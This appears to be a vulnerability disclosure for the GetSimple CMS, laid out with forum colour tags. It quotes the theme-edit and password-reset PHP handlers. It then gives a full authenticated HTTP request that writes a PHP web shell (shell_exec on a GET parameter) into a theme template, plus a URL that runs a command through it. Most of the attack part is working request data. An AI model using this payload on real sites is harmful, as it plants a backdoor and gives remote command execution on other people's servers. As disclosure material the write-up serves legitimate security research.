[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if((isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'submitsave'[/COLOR][COLOR="#007700"]]))){ [/COLOR][COLOR="#FF8000"]# check for csrf[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'GSNOCSRF'[/COLOR][COLOR="#007700"]) || ([/COLOR][COLOR="#0000BB"]GSNOCSRF[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) ) {[/COLOR][COLOR="#0000BB"]$nonce[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'nonce'[/COLOR][COLOR="#007700"]]; if(![/COLOR][COLOR="#0000BB"]check_nonce[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$nonce[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"save"[/COLOR][COLOR="#007700"])) { die([/COLOR][COLOR="#DD0000"]"CSRF detected!"[/COLOR][COLOR="#007700"]); } } [/COLOR][COLOR="#FF8000"]# save edited template file[/COLOR][COLOR="#0000BB"]$SavedFile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'edited_file'[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]$FileContents[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]get_magic_quotes_gpc[/COLOR][COLOR="#007700"]() ?[/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]]) :[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#0000BB"]$fh[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]GSTHEMESPATH[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$SavedFile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#DD0000"]"can't open file"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fh[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$FileContents[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fh[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$success[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sprintf[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'TEMPLATE_FILE'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$SavedFile[/COLOR][COLOR="#007700"]);}[/COLOR][/COLOR]
POST /admin/theme-edit.php?t=Innovation&f=template.php HTTP/1.1 Host: getsimple.localhost.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://getsimple.localhost.com/admin/theme-edit.php Content-Type: application/x-www-form-urlencoded Content-Length: 163 DNT: 1 Connection: close Cookie: PHPSESSID=9l7pual53vbi1opd9meggoc27a; GS_ADMIN_USERNAME=admin; 5a061daedaddfec9e0820c8dce27a6de1c13955d=116ff4110b64f75d4aff43dc1e8d03994ca2205c Upgrade-Insecure-Requests: 1 Sec-GPC: 1 nonce=d6905d38e91254022db24285cdd5598b82a0376f&content=%3C%3Fphp+echo+shell_exec($_GET['a']);+%3F%3E&edited_file=Innovation%2Ftemplate1.php&submitsave=Save+Changes
http://getsimple.localhost.com/theme/Innovation/template1.php?a=ls
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]]) ==[/COLOR][COLOR="#0000BB"]$USR[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#FF8000"]# create new random password[/COLOR][COLOR="#0000BB"]$random[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]createRandomPassword[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#FF8000"]// $random = '1234'; # create backup[/COLOR][COLOR="#0000BB"]createBak[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GSUSERSPATH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GSBACKUSERSPATH[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#FF8000"]# create password change trigger file[/COLOR][COLOR="#0000BB"]$flagfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]GSUSERSPATH[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]_id[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$USR[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]".xml.reset"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]GSUSERSPATH[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$flagfile[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#FF8000"]# change password and resave xml file[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]PWD[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]passhash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$random[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]XMLsave[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]GSUSERSPATH[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#FF8000"]# send the email with the new password[/COLOR][COLOR="#0000BB"]$subject[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$site_full_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'RESET_PASSWORD'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ATTEMPT'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]cl[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$SITENAME[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'RESET_PASSWORD'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ATTEMPT'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'LABEL_USERNAME'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]": "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$USR[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'NEW_PASSWORD'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]": "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$random[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]i18n_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'EMAIL_LOGIN'[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]': '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$SITEURL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$GSADMIN[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]exec_action[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'resetpw-success'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]$status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sendmail[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$EMAIL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$subject[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]